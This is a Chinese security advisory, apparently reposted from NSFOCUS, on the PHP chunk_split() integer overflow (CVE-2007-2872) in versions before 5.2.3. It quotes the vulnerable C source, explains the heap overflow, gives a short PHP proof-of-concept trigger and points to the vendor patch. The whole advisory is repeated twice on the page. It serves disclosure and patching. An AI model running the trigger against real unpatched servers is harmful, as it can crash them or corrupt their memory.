PHP5.2下chunk_split()函數(shù)整數(shù)溢出漏洞 分析
更新時(shí)間:2007年06月06日 00:00:00 作者:
受影響系統(tǒng):
PHP PHP < 5.2.3
不受影響系統(tǒng):
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一種流行的WEB服務(wù)器端編程語(yǔ)言。
PHP中的chunk_split函數(shù)在處理畸形參數(shù)時(shí)存在整數(shù)溢出漏洞,本地攻擊者可能利用此漏洞提升自己的權(quán)限。
PHP中chunk_split函數(shù)的1963行試圖為函數(shù)結(jié)果分配充分的內(nèi)存大小,但沒(méi)有執(zhí)行任何檢查便使用了srclen和chunklen參數(shù)塊。如果值的塊和endlen大于65534字節(jié)的話,就會(huì)觸發(fā)整數(shù)溢出,分配錯(cuò)誤的內(nèi)存大小,導(dǎo)致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*來(lái)源:Gerhard Wagner
鏈接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
測(cè)試方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
建議:
--------------------------------------------------------------------------------
廠商補(bǔ)?。?br>
PHP
---
目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問(wèn)題,請(qǐng)到廠商的主頁(yè)下載:
http://www.php.net/downloads.php#v5
文章來(lái)自: 綠盟科技
PHP PHP < 5.2.3
不受影響系統(tǒng):
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一種流行的WEB服務(wù)器端編程語(yǔ)言。
PHP中的chunk_split函數(shù)在處理畸形參數(shù)時(shí)存在整數(shù)溢出漏洞,本地攻擊者可能利用此漏洞提升自己的權(quán)限。
PHP中chunk_split函數(shù)的1963行試圖為函數(shù)結(jié)果分配充分的內(nèi)存大小,但沒(méi)有執(zhí)行任何檢查便使用了srclen和chunklen參數(shù)塊。如果值的塊和endlen大于65534字節(jié)的話,就會(huì)觸發(fā)整數(shù)溢出,分配錯(cuò)誤的內(nèi)存大小,導(dǎo)致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*來(lái)源:Gerhard Wagner
鏈接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
測(cè)試方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
建議:
--------------------------------------------------------------------------------
廠商補(bǔ)?。?br>
PHP
---
目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問(wèn)題,請(qǐng)到廠商的主頁(yè)下載:
http://www.php.net/downloads.php#v5
文章來(lái)自: 綠盟科技
您可能感興趣的文章:
相關(guān)文章
ADODB的數(shù)據(jù)庫(kù)封包程序庫(kù)
ADODB的數(shù)據(jù)庫(kù)封包程序庫(kù)...2006-12-12PHP發(fā)明人談MVC和網(wǎng)站設(shè)計(jì)架構(gòu) 貌似他不支持php用mvc
PHP是全世界上使用率最高的網(wǎng)頁(yè)開(kāi)發(fā)語(yǔ)言,臺(tái)灣每4個(gè)網(wǎng)站,就有1個(gè)用PHP語(yǔ)言開(kāi)發(fā)。1995年發(fā)明PHP語(yǔ)言的Rasmus Lerdorf,也是打造出Yahoo全球服務(wù)網(wǎng)站的架構(gòu)師之一,他首度來(lái)臺(tái)分享如何架構(gòu)網(wǎng)站擴(kuò)充性丶安全性和效能的秘訣。2011-06-06